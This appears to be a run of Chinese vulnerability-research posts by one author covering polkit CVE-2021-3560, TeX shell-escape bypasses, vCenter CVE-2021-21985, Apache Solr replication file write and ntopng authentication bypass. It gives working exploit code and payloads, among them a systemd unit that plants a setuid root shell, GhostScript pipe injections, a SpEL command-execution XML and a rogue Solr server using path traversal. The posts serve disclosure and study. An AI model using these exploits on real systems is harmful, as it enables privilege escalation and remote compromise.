其中 :1:3174 为 PolicyKit,:1.3301 为 Authentication Agent。成功的情况下,Authentication Agent 会发送一个 method return 消息,指向的是 BeginAuthentication 的调用序列号,表示这个方法已经成功调用了,而失败的情况下则是由 D-Bus Daemon 向 PolicyKit 发送一个 NoReply 的错误。

0x06. The Time Window

通过以上分析可以得到我们的漏洞触发的时间窗口:在发送 method return 消息后,在获取 AuthenticationAgentResponse2 的 caller 前结束进程。为了精确控制消息发送,我们修改 Authentication Agent 的代码如下:

    @dbus.service.method(
            dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",
            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
    def BeginAuthentication(self, action_id, message, icon_name, details,
                            cookie, identities, _msg):
        print('[*] Received authentication request')
        print('[*] Action ID: {}'.format(action_id))
        print('[*] Cookie: {}'.format(cookie))


        def send(msg):
            self._bus.send_message(msg)

        ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',
                                                  '/org/freedesktop/PolicyKit1/Authority',
                                                  'org.freedesktop.PolicyKit1.Authority',
                                                  'AuthenticationAgentResponse2')
        message.append(dbus.types.UInt32(os.getuid()))
        message.append(cookie)
        message.append(identities[0])
        threading.Thread(target=send, args=(message, )).start()
        threading.Thread(target=send, args=(ret_message, )).start()
        os.kill(os.getpid(), 9)

查看 PolicyKit 输出,发现已经成功认证:

** (polkitd:192813): DEBUG: 01:42:29.925: In authentication_agent_response for cookie '3-7c19ac0c4623cf4548b91ef08584209f-1-22daebe24c317a3d64d74d2acd307468' and identity unix-user:root
** (polkitd:192813): DEBUG: 01:42:29.928: OUT: RET: 1
** (polkitd:192813): DEBUG: 01:42:29.928: Authentication complete, is_authenticated = 1

(polkitd:192813): GLib-WARNING **: 01:42:29.934: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.7428': no such name
** (polkitd:192813): DEBUG: 01:42:29.934: In check_authorization_challenge_cb
  subject                system-bus-name::1.7428
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 1

同时系统时区也已经成功更改。

0x07. Before The Exploit

相比于漏洞作者给出的 Account Daemon 利用,我选择了使用 org.freedesktop.systemd1。首先我们摆脱了必须使用 org.freedesktop.policykit.imply 修饰过的方法的限制,其次因为这个 D-Bus Service 几乎在每个 Linux 系统都存在,最后是因为这个方法存在一些高风险方法。

$ gdbus introspect --system -d org.freedesktop.systemd1 -o /org/freedesktop/systemd1
...
  interface org.freedesktop.systemd1.Manager {
      ...
      StartUnit(in  s arg_0,
                in  s arg_1,
                out o arg_2);
      ...
      EnableUnitFiles(in  as arg_0,
                      in  b arg_1,
                      in  b arg_2,
                      out b arg_3,
                      out a(sss) arg_4);
      ...
  }
...

EnableUnitFiles 可以接受传入一组 systemd 单元文件路径,并加载进入 systemd,接着再调用Reload 和 StartUnit 方法后即可以 root 权限执行任意命令。systemd 单元文件内容如下:

[Unit]
AllowIsolate=no

[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /usr/local/bin/pwned; chmod +s /usr/local/bin/pwned'

看似流程非常明确,但是在实际利用中却出现了问题。问题出在 EnableUnitFiles  方法,首先编写代码调用此方法:

def enable_unit_files():
    print('[*] Starting EnableUnitFiles ...')
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())
    obj = bus.get_object('org.freedesktop.systemd1', '/org/freedesktop/systemd1')
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.systemd1.Manager')
    interface.EnableUnitFiles(['test'], True, True, reply_handler=handler, error_handler=handler)

运行后输出如下:

[email protected]:~$ python3 agent.py
[*] Starting EnableUnitFiles ...
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Method response: (DBusException(dbus.String('Interactive authentication required.')),)

可见并没有进入我们注册的 Authentication Agent,而是直接输出了 Interactive authentication required 的错误信息。通过实际的代码分析,定位到如下代码逻辑:

static void
polkit_backend_interactive_authority_check_authorization (PolkitBackendAuthority         *authority,
                                                          PolkitSubject                  *caller,
                                                          PolkitSubject                  *subject,
                                                          const gchar                    *action_id,
                                                          PolkitDetails                  *details,
                                                          PolkitCheckAuthorizationFlags   flags,
                                                          GCancellable                   *cancellable,
                                                          GAsyncReadyCallback             callback,
                                                          gpointer                        user_data)
{
  // ...
  if (polkit_authorization_result_get_is_challenge (result) &&
      (flags & POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION))
    {
      AuthenticationAgent *agent;
      agent = get_authentication_agent_for_subject (interactive_authority, subject);
      if (agent != NULL)
        {
          g_object_unref (result);
          result = NULL;

          g_debug (" using authentication agent for challenge");
          authentication_agent_initiate_challenge (agent,
                                                   // ...
          goto out;
        }
    }

这里检查了 Message Flags 的 POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION 是不是为 0,如果是 0,则不会进入到使用 Authencation Agent 的分支。通过查阅文档,我发现 POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION 是消息发送者可控的,D-Bus 的类库提供了相应的 setter:https://dbus.freedesktop.org/doc/api/html/group__DBusMessage.html#gae734e7f4079375a0256d9e7f855ec4e4,也就是 dbus_message_set_allow_interactive_authorization 方法。

但是当我去翻阅 dbus-python 的文档时,发现其并没有提供这个方法。于是我修改了版 dbus-python添加了此方法,地址为:https://gitlab.freedesktop.org/RicterZ/dbus-python

PyDoc_STRVAR(Message_set_allow_interactive_authorization__doc__,
"message.set_allow_interactive_authorization(bool) -> None\n"
"Set allow interactive authorization flag to this message.\n");
static PyObject *
Message_set_allow_interactive_authorization(Message *self, PyObject *args)
{
    int value;
    if (!PyArg_ParseTuple(args, "i", &value)) return NULL;
    if (!self->msg) return DBusPy_RaiseUnusableMessage();
    dbus_message_set_allow_interactive_authorization(self->msg, value ? TRUE : FALSE);
    Py_RETURN_NONE;
}

同时这项修改已经提交 Merge Request 了,希望之后会被合并。

0x08. The Final Exploit

添加了 set_allow_interactive_authorization 后,利用 dbus-python 提供的低级接口构建消息:

def method_call_install_service():
    time.sleep(0.1)
    print('[*] Enable systemd unit file \'{}\' ...'.format(FILENAME))
    bus2 = dbus.SystemBus(mainloop=DBusGMainLoop())
    message = dbus.lowlevel.MethodCallMessage(NAME, OBJECT, IFACE, 'EnableUnitFiles')
    message.set_allow_interactive_authorization(True)
    message.set_no_reply(True)
    message.append(['/tmp/{}'.format(FILENAME)])
    message.append(True)
    message.append(True)
    bus2.send_message(message)

设置之后再发送即可收到 PolicyKit 发来的 BeginAuthentication 请求了。实际编写框架已经大体明了了,写一个利用出来并不困难。最终利用成功截图如下:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

Golang 和 C 版本的利用代码如下:

0x09. Conclusion

CVE-2021-3560 是一个危害被低估的漏洞,我认为是由于漏洞作者不是特别熟悉 D-Bus 和 PolicyKit 的相关机制导致错过了 Authentication Agent 的特性,从而构建出限制较大的 PoC。我自是不敢说精通 D-Bus 和 PolicyKit,但是在最近时间的漏洞挖掘和研究过程中,参考了大量的文档、历史漏洞分析,同时阅读了大量的代码后,才能意识到使用 Authentication Agent 来进行利用的可能性。

同时,作为一个 Web 漏洞的安全研究员,我自是将所有的东西都类型转换到 Web 层面去看待。D-Bus 和 Web 非常相似,在挖掘提权的过程中并没有受到特别大的阻力,却收获了非常多的成果。希望各位安全从业者通过 D-Bus 来入门二进制,跳出自己的舒适圈,也可以增加自己在漏洞挖掘中的视野(什么,内存破坏洞?想都不要想了,开摆.jpg)。

0x0a. Reference

TeX 安全模式绕过研究

By: RicterZ
6 June 2021 at 07:06

漏洞时间线:

  • 2021/03/08 - 提交漏洞至 TeX 官方;
  • 2021/03/27 - 漏洞修复,安全版本:TeX Live 2021;
  • 2021/06/06 - 漏洞分析公开。

I. Tex 安全限制概述

TeX 提供了 \write18 原语以执行命令。为了提高安全性,TexLive 的配置文件(texmf.cnf)提供了配置项(shell_escape、shell_escape_commands)去配置 \write18 能否执行命令以及允许执行的命令列表。

其中 shell_escape 有三种配置值,分别为:

  • f:不允许执行任何命令
  • t:允许执行任何命令
  • p:支持执行白名单内的命令(默认)

白名单命令列表可以通过如下命令查询:

kpsewhich --var-value shell_escape_commands

shell_escape 配置值可以通过如下命令查询:

kpsewhich --var-value shell_escape

本文涉及的 CVE 如下:没 advisory 懒得申请了。

II. 挖掘思路

TeX 提供了一个默认的白名单命令列表,如若在调用过程中,这些命令出现安全问题,则会导致 TeX 本身在调用命令的时候出现相同的安全问题。

可以假设:在命令调用的过程中,由于开发者对于命令参数的不完全掌握,有可能存在某个命令参数最终会作为系统命令进行调用的情况。依据这个思路,挖掘白名单内的命令以及白名单内命令的内部调用,并最终得到一个调用链以及相关的参数列表,依据研究人员的经验去判断是否存在安全问题。

III. 在 *nix 下的利用方式

通过针对命令的深入挖掘,发现白名单内的 repstopdf 命令存在安全问题,通过精心构造参数可以执行任意系统命令。

repstopdf 意为 restricted epstopdf,epstopdf 是一个 Perl 开发的脚本程序,可以将 eps 文件转化为 pdf 文件。repstopdf 强制开启了 epstopdf 的 --safer 参数,同时禁用了 --gsopt/--gsopts/--gscmd 等 GhostScript 相关的危险参数,以防止在 TeX 中调用此命令出现安全问题。repstopdf 调用方式如下:

repstopdf [options] [epsfile [pdffile.pdf]]

repstopdf 会调用 GhostScript 去生成 pdf 文件(具体调用参数可以用过 strace 命令进行跟踪),其中传入的 epsfile 参数会成为 GhostScript 的 -sOutputFile= 选项的参数。

通过查阅 GhostScript 的文档可知,GhostScript 的此项参数支持管道操作。当我们传入文件名为:|id 时,GhostScript 会执行 id 命令。于是我们可以构造 repstopdf 的参数实现任意的命令执行操作,不受前文所提及的限制条件限制。利用方式如下所示:

repstopdf '|id #'

在 TeX 内的利用方式为:

\write18{repstopdf "|id #"}

IV. 在 Windows 下的利用方式

Windows 平台下,白名单内存在的是 epstopdf 而非 repstopdf,且相关参数选项与 *nix 平台下不相同,但仍旧存在 --gsopt 选项。利用此选项可以控制调用 GhostScript 时的参数。

此参数只支持设定调用 GhostScript 时的参数选项。参考 GhostScript 的文档,指定参数 -sOutputFile 及其他相关参数即可。利用方式为:

epstopdf 1.tex "--gsopt=-sOutputFile=%pipe%calc" "--gsopt=-sDEVICE=pdfwrite" "--gsopt=-"

V. LuaLaTeX 的安全问题

LuaLaTex 内置了 Lua 解释器,可以在编译时执行 Lua 代码,原语为:\directlua。LuaLaTeX 支持调用系统命令,但是同样地受到 shell_escape 的限制。如在受限(f)模式下,不允许执行任意命令;默认情况下只允许执行白名单内的命令。由于可以调用白名单内的命令,LuaLaTeX 同样可以利用 III、IV 内描述的方式进行利用,在此不做进一步赘述。

LuaLaTeX 的 Lua 解释器支持如下风险功能:

  • 命令执行(io.popen 等函数)
  • 文件操作(lfs 库函数)
  • 环境变量设置(os.setenv)
  • 内置了部分自研库(fontloader)

1. 环境变量劫持导致命令执行

通过修改 PATH 环境变量,可以达到劫持白名单内命令的效果。PATH 环境变量指定了可执行文件所在位置的目录路径,当在终端或者命令行输入命令时,系统会依次查找 PATH 变量中指定的目录路径,如果该命令存在与目录中,则执行此命令(https://en.wikipedia.org/wiki/PATH_(variable))。

将 PATH 变量修改为攻击者可控的目录,并在该目录下创建与白名单内命令同名的恶意二进制文件后,攻击者通过正常系统功能调用白名单内的命令后,可以达到任意命令执行的效果。

2. fontloader 库安全问题

fontloader 库存在典型的命令注入问题,问题代码如下:

// texk/web2c/luatexdir/luafontloader/fontforge/fontforge/splinefont.c
char *Decompress(char *name, int compression) {
    char *dir = getenv("TMPDIR");
    char buf[1500];
    char *tmpfile;

    if ( dir==NULL ) dir = P_tmpdir;
    tmpfile = galloc(strlen(dir)+strlen(GFileNameTail(name))+2);
    strcpy(tmpfile,dir);
    strcat(tmpfile,"/");
    strcat(tmpfile,GFileNameTail(name));
    *strrchr(tmpfile,'.') = '\0';
#if defined( _NO_SNPRINTF ) || defined( __VMS )
    sprintf( buf, "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#else
    snprintf( buf, sizeof(buf), "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#endif
    if ( system(buf)==0 )
return( tmpfile );
    free(tmpfile);
return( NULL );
}

调用链为:

ff_open -> ReadSplineFont -> _ReadSplineFont -> Decompress -> system

通过 Lua 调用 fontloader.open 函数即可触发。此方式可以在受限(f)模式下执行命令。

VI. DVI 的安全问题

DVI(Device independent file)是一种二进制文件格式,可以由 TeX 生成。在 TeX 中,可以利用 \special 原语嵌入图形。TeX 内置了 DVI 查看器,其中 *nix 平台下为 xdvi 命令,Windows 平台下通常为 YAP(Yet Another Previewer)。

1. xdvi 命令的安全问题

xdvi 在处理超链接时,调用了系统命令启动新的 xdvi,存在典型的命令注入问题。问题代码如下:

// texk/xdvik/hypertex.c
void
launch_xdvi(const char *filename, const char *anchor_name)
{
#define ARG_LEN 32
    int i = 0;
    const char *argv[ARG_LEN];
    char *shrink_arg = NULL;

    ASSERT(filename != NULL, "filename argument to launch_xdvi() mustn't be NULL");

    argv[i++] = kpse_invocation_name;
    argv[i++] = "-name";
    argv[i++] = "xdvi";

    /* start the new instance with the same debug flags as the current instance */
    if (globals.debug != 0) {
	argv[i++] = "-debug";
	argv[i++] = resource.debug_arg;
    }
    
    if (anchor_name != NULL) {
	argv[i++] = "-anchorposition";
	argv[i++] = anchor_name;
    }

    argv[i++] = "-s";
    shrink_arg = XMALLOC(shrink_arg, LENGTH_OF_INT + 1);
    sprintf(shrink_arg, "%d", currwin.shrinkfactor);
    argv[i++] = shrink_arg;

    argv[i++] = filename; /* FIXME */
    
    argv[i++] = NULL;
    
...
	    execvp(argv[0], (char **)argv);

2. YAP 安全问题

YAP 在处理 DVI 内置的 PostScripts 脚本时调用了 GhostScript,且未开启安全模式(-dSAFER),可以直接利用内嵌的 GhostScript 进行命令执行。

VII. 漏洞利用

TeX 底层出现安全问题时,可以影响基于 TeX 的相关在线平台、TeX 编辑器以及命令行。下面以 MacOS 下比较知名的 Texpad 进行演示:

VIII. 参考文章

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析

By: RicterZ
5 June 2021 at 00:17
vSphere vCenter Server 的 vsphere-ui 基于 OSGi 框架,包含上百个 bundle。前几日爆出的任意文件写入漏洞即为 vrops 相关的 bundle 出现的问题。在针对其他 bundle 审计的过程中,发现 h5-vsan 相关的 bundle 提供了一些 API 端点,并且未经过授权即可访问。通过进一步的利用,发现其中某个端点存在安全问题,可以执行任意 Spring Bean 的方法,从而导致命令执行。
CVE-2021-21985 vCenter Server 远程代码执行漏洞分析

漏洞时间线:

  • 2021/04/13 - 发现漏洞并实现 RCE;
  • 2021/04/16 - 提交漏洞至 VMware 官方并获得回复;
  • 2021/05/26 - VMware 发布漏洞 Advisory(VMSA-2021-0010);
  • 2021/06/02 - Exploit 公开(from 随风's blog);
  • 2021/06/05 - 本文公开。

0x01. 漏洞分析

存在漏洞的 API 端点如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 1. 存在漏洞的 Controller

首先在请求路径中获取 Bean 名称或者类名和方法名称,接着从 POST 数据中获取 methodInput 列表作为方法参数,接着进入 invokeService 方法:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 2. invokeService 方法

invokeServer 先获取了 Bean 实例,接着获取该实例的方法列表,比对方法名和方法参数长度后,将用户传入的参数进行了一个简单的反序列化后利用进行了调用。Bean 非常多(根据版本不同数量有微量变化),如图所示:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 3. Bean 列表

其中不乏存在危险方法、可以利用的 Bean,需要跟进其方法实现进行排查。本文中的 PoC 所使用的 Bean 是 vmodlContext,对应的类是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl,其中的 loadVmodlPackage 方法代码如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 4. loadVmodlPackage 方法

注意到 loadVmodlPackage 会调用 SpringContextLoader 进行加载,vmodPackage 可控。

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 5. 调用 SpringContextLoader

最终会调用到 ClassPathXmlApplicationContext 的构造方法。ClassPathXmlApplicationContext 可以指定一个 XML 文件路径,Spring 会解析 XML 的内容,造成 SpEL 注入,从而实现执行任意代码。

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 6. ClassPathXmlApplicationContext

需要注意的是,在 SpringContextLoader 的 getContextFileNameForPackage 会将路径中的 . 替换为 /,所以无法指定一个正常的 IPv4 地址,但是可以利用数字型 IP 绕过:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 7. 调用 loadVmodlPackages 方法并传入 URL

XML 文件内容及攻击效果如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 8. XML 文件内容及攻击效果

0x02. 不出网利用(6.7 / 7.0)

若要利用此漏洞本质上需要获取一个 XML 文件的内容,而 Java 的 URL 并不支持 data 协议,那么需要返回内容可控的 SSRF 或者文件上传漏洞。这里利用的是返回内容可控的 SSRF 漏洞。漏洞位于 vSAN Health 组件中的 VsanHttpProvider.py:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 9. VsanHttpProvider.py 文件内容

这里存在一个 SSRF 漏洞,使用的是 Python 的 urlopen 函数进行请求,接着将返回内容在内存中进行解压,并且匹配文件名为 .*offline_bundle.* 的内容并进行返回。Python 的 urlopen 支持 data 协议,所以可以构造一个压缩包并 Base64 编码,构造 data 协议的 URL:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 10. 利用 SSRF 返回可控文件内容

在利用的过程中,将 IP 地址替换为 localhost 即可防止 . 被替换。由于这个端点在 6.5 版本的 vSAN Health 不存在,所以无法在 6.5 版本上不出网利用。

现在虽然不用进行外网请求,但是仍然无法获取命令回显。通过查看 Bean 列表,发现存在名为 systemProperties 的 Bean。同时这个 Bean 也存在方法可以获取属性内容:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 11. 调用 systemProperties 的方法

所以在执行 SpEL 时,可以将命令暂存到 systemProperties 中,然后利用 getProperty 方法获取回显。最终的 context.xml 内容为:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[ ls -la /  2>&1 ]]></value>
          </list>
        </constructor-arg>
    </bean>
    <bean id="is" class="java.io.InputStreamReader">
        <constructor-arg>
            <value>#{pb.start().getInputStream()}</value>
        </constructor-arg>
    </bean>
    <bean id="br" class="java.io.BufferedReader">
        <constructor-arg>
            <value>#{is}</value>
        </constructor-arg>
    </bean>
    <bean id="collectors" class="java.util.stream.Collectors"></bean>
    <bean id="system" class="java.lang.System">
        <property name="whatever" value="#{ system.setProperty(&quot;output&quot;, br.lines().collect(collectors.joining(&quot;\n&quot;))) }"/>
    </bean>
</beans>

最终利用需要两个 HTTP 请求进行。第一个请求利用 h5-vsan 组件的 SSRF 去请求本地的 vSAN Health 组件,触发第二个 SSRF 漏洞从而返回内容可控的 XML 文件内容,XML 文件会执行命令并存入 System Properties 中,第二个请求调用 systemProperties Bean 的 getProperty 方法获取输出。最终攻击效果如下:

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
图 12. 不出网攻击效果

0x03. 技术总结

CVE-2021-21985 vCenter Server 远程代码执行漏洞分析

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

By: RicterZ
2 June 2021 at 09:10
Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

0x01. TL; DR

事情要从 Skay 的 SSRF 漏洞(CVE-2021-27905)说起。正巧后续的工作中遇到了 Solr,我就接着这个漏洞进行了进一步的分析。漏洞原因是在于 Solr 主从复制(Replication)时,可以传入任意 URL,而 Solr 会针对此 URL 进行请求。

说起主从复制,那么对于 Redis 主从复制漏洞比较熟悉的人会知道,可以利用主从复制的功能实现任意文件写入,那么 Solr 是否会存在这个问题呢?通过进一步的分析,我发现这个漏洞岂止于 SSRF,简直就是 Redis Replication 文件写入的翻版,通过构造合法的返回,可以以 Solr 应用的权限实现任意文件写。

对于低版本 Solr,可以通过写入 JSP 文件获取 Webshell,对于高版本 Solr,则需要结合用户权限,写入 crontab 或者 authorized_keys 文件利用。

0x02. CVE-2021-27905

Solr 的 ReplicationHandler 在传入 command 为 fetchindex 时,会请求传入的 masterUrl,漏洞点如下:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

SSRF 漏洞到这里就结束了。那么后续呢,如果是正常的主从复制,又会经历怎么样的过程?

0x03. Replication 代码分析

我们继续跟进 doFetch 方法,发现会调用到 fetchLatestIndex 方法:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

在此方法中,首先去请求目标 URL 的 Solr 实例,接着对于返回值的 indexversion 和 generation 进行判断:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

如果全部合法(参加下图的 if 条件),则继续请求服务,获取文件列表:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

文件列表包含filelist、confFiles 和 tlogFiles 三部分,如果目标 Solr 实例返回的文件列表不为空,则将文件列表中的内容添加到 filesToDownload 中。这里 Solr 是调用的 command 是 filelist。

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

获取下载文件的列表后,接着 Solr 会进行文件的下载操作,按照 filesToDownload、 tlogFilesToDownload、confFilesToDownload 的顺序进行下载。

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

我们随意跟进某个下载方法,比如 downloadConfFiles:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

可以发现,saveAs 变量是取于 files 的某个属性,而最终会直接创建一个 File 对象:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

也就是说,如果 file 的 alias 或者 name 可控,则可以利用 ../ 进行目录遍历,造成任意文件写入的效果。再回到 fetchFileList 查看,可以发现,filesToDownload 是完全从目标 Solr 实例的返回中获取的,也就是说是完全可控的。

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

0x04. Exploit 编写

类似于 Redis Replication 的 Exploit,我们也需要编写一个 Rogue Solr Server,需要实现几种 commands,包括 indexversion、filelist 以及 filecontent。部分代码如下:

if (data.contains("command=indexversion")) {
    response = SolrResponse.makeIndexResponse().toByteArray();
} else if (data.contains("command=filelist")) {
    response = SolrResponse.makeFileListResponse().toByteArray();
} else if (data.contains("command=filecontent")) {
    response = SolrResponse.makeFileContentResponse().toByteArray();
} else {
    response = "Hello World".getBytes();
}

t.getResponseHeaders().add("Content-Type", "application/octet-stream");
t.sendResponseHeaders(200, response.length);
OutputStream os = t.getResponseBody();
os.write(response);
os.close()

返回恶意文件的代码如下:

public static ByteArrayOutputStream makeFileListResponse() throws IOException {
    ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
    JavaBinCodec codec = new JavaBinCodec(null);

    NamedList<Object> values = new SimpleOrderedMap<>();
    NamedList<Object> headers = new SimpleOrderedMap<>();
    headers.add("status", 0);
    headers.add("QTime", 1);

    values.add("responseHeader", headers);

    HashMap<String, Object> file = new HashMap<>();
    file.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file.put("lastmodified", new Long("123456"));
    file.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList = new ArrayList<>();
    fileList.add(file);

    HashMap<String, Object> file2 = new HashMap<>();
    file2.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file2.put("lastmodified", new Long("123456"));
    file2.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList2 = new ArrayList<>();
    fileList2.add(file2);

    values.add("confFiles", fileList);
    values.add("filelist", fileList2);

    codec.marshal(values, outputStream);
    return outputStream;

其中 DIST_FILE 为攻击者传入的参数,比如传入 ../../../../../../../../tmp/pwn.txt,而 FILE_NAME 是本地要写入的文件的路径。攻击效果如下:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

ntopng 流量分析工具多个漏洞分析

By: RicterZ
24 March 2021 at 03:37

0x00. TL;DR

ntopng 是一套开源的网络流量监控工具,提供基于 Web 界面的实时网络流量监控。支持跨平台,包括 Windows、Linux 以及 MacOS。ntopng 使用 C++ 语言开发,其绝大部分 Web 逻辑使用 lua 开发。

在针对 ntopng 的源码进行审计的过程中,笔者发现了 ntopng 存在多个漏洞,包括一个权限绕过漏洞、一个 SSRF 漏洞和多个其他安全问题,接着组合利用这些问题成功实现了部分版本的命令执行利用和管理员 Cookie 伪造。

比较有趣的是,利用的过程涉及到 SSDP 协议、gopher scheme 和奇偶数,还有极佳的运气成分。ntopng 已经针对这些漏洞放出补丁,并在 4.2 版本进行修复。涉及漏洞的 CVE 如下:

  • CVE-2021-28073
  • CVE-2021-28074

0x01. 部分权限绕过 (全版本)

ntopng 的 Web 界面由 Lua 开发,对于 HTTP 请求的处理、认证相关的逻辑由后端 C++ 负责,文件为 HTTPserver.cpp。对于一个 HTTP 请求来说,ntopng 的主要处理逻辑代码都在 handle_lua_request 函数中。其 HTTP 处理逻辑流程如下:

  1. 检测是不是某些特殊路径,如果是直接返回相关逻辑结束函数;
  2. 检测是不是白名单路径,如果是则储存在 whitelisted 变量中;
  3. 检测是否是静态资源,通过判断路径最后的扩展名,如果不是则进入认证逻辑,认证不通过结束函数;
  4. 检测是否路径以某些特殊路径开头,如果是则调用 Lua 解释器,逻辑交由 Lua 层;
  5. 以上全部通过则判断为静态文件,函数返回,交由 mongoose 处理静态文件。

针对一个非白名单内的 lua 文件,是无法在通过认证之前到达的,因为无法通过判断是否是静态文件的相关逻辑。同时为了使我们传入的路径进入调用 LuaEngine::handle_script_request 我们传入的路径需要以 /lua/ 或者 /plugins/ 开头,以静态文件扩展名结尾,比如 .css 或者 .js。

// HTTPserver.cpp
if(!isStaticResourceUrl(request_info, len)) {
    ...
}

if((strncmp(request_info->uri, "/lua/", 5) == 0)
 || (strcmp(request_info->uri, "/metrics") == 0)
 || (strncmp(request_info->uri, "/plugins/", 9) == 0)
 || (strcmp(request_info->uri, "/") == 0)) {
 ...

进入 if 语句后,ntopng 声明了一个 大小为 255 的字符串数组 来储存用户请求的文件路径。并针对以非 .lua 扩展名结尾的路径后补充了 .lua,接着调用 stat 函数判断此路径是否存在。如果存在则调用 LuaEngine::handle_script_request 来进行处理。

// HTTPserver.cpp
/* Lua Script */
char path[255] = { 0 }, uri[2048];
struct stat buf;
bool found;

...
if(strlen(path) > 4 && strncmp(&path[strlen(path) - 4], ".lua", 4))
    snprintf(&path[strlen(path)], sizeof(path) - strlen(path) - 1, "%s", 
    (char*)".lua");

ntop->fixPath(path);
found = ((stat(path, &buf) == 0) && (S_ISREG(buf.st_mode))) ? true : false;

if(found) {
    ...
    l = new LuaEngine(NULL);
    ...
    l->handle_script_request(conn, request_info, path, &attack_attempt, username,
                             group, csrf, localuser);

ntopng 调用 snprintf 将用户请求的 URI 写入到 path 数组中,而 snprintf 会在字符串结尾添加 \0。由于 path 数组长度有限,即使用户传入超过 255 个字符的路径,也只会写入前 254 个字符,我们可以通过填充 ./ 来构造一个长度超过 255 但是合法的路径,并利用长度限制来截断后面的 .css.lua,即可绕过 ntopng 的认证以访问部分 Lua 文件。

目前有两个问题,一个是为什么只能用 ./ 填充,另外一个是为什么说是“部分 Lua 文件”。

第一个问题,在 thrid-party/mongoose/mongoose.c 中,进行路径处理之前会调用下面的函数去除重复的 /以及 .,导致我们只能用 ./ 来填充。

void remove_double_dots_and_double_slashes(char *s) {
    char *p = s;

    while (*s != '\0') {
        *p++ = *s++;
        if (s[-1] == '/' || s[-1] == '\\') {
            // Skip all following slashes, backslashes and double-dots
            while (s[0] != '\0') {
                if (s[0] == '/' || s[0] == '\\') {
                    s++;
                } else if (s[0] == '.' && s[1] == '.') {
                    s += 2;
                } else {
                    break;
                }
            }
        }
    }
    *p = '\0';
}

说部分 Lua 文件的原因为,由于我们只能利用两个字符 ./ 来进行路径填充,。那么针对前缀长度为偶数的路径,我们只能访问路径长度为偶数的路径,反之亦然。因为一个偶数加一个偶数要想成为偶数必然需要再加一个偶数。也就是说,我们需要:

len("/path/to/ntopng/lua/") + len("./") * padding + len("path/to/file") = 255 - 1

0x02. 全局权限绕过 (版本 4.1.x-4.3.x)

其实大多数 ntopng 的安装路径都是偶数(/usr/share/ntopng/scripts/lua/),那么我们需要一个合适的 gadgets 来使我们执行任意 lua 文件。通过对 lua 文件的审计,我发现 modules/widgets_utils.lua内存在一个合适的 gadgets:

// modules/widgets_utils.lua
function widgets_utils.generate_response(widget, params)
   local ds = datasources_utils.get(widget.ds_hash)
   local dirs = ntop.getDirs()
   package.path = dirs.installdir .. "/scripts/lua/datasources/?.lua;" .. package.path

   -- Remove trailer .lua from the origin
   local origin = ds.origin:gsub("%.lua", "")

   -- io.write("Executing "..origin..".lua\n")
   --tprint(widget)

   -- Call the origin to return
   local response = require(origin)

调用入口在 widgets/widget.lua,很幸运,这个文件名长度为偶数。通过阅读代码逻辑可知,我们需要在edit_widgets.lua 创建一个 widget,而创建 widget 有需要存在一个 datasource,在 edit_datasources.lua 创建。而这两个文件的文件名长度全部为偶数,所以我们可以利用请求这几个文件,从而实现任意文件包含的操作,从而绕过 ntopng 的认证。

0x03. Admin 密码重置利用 (版本 2.x)

利用 0x01 的认证绕过,请求 admin/password_reset.lua 即可更改管理员的密码。

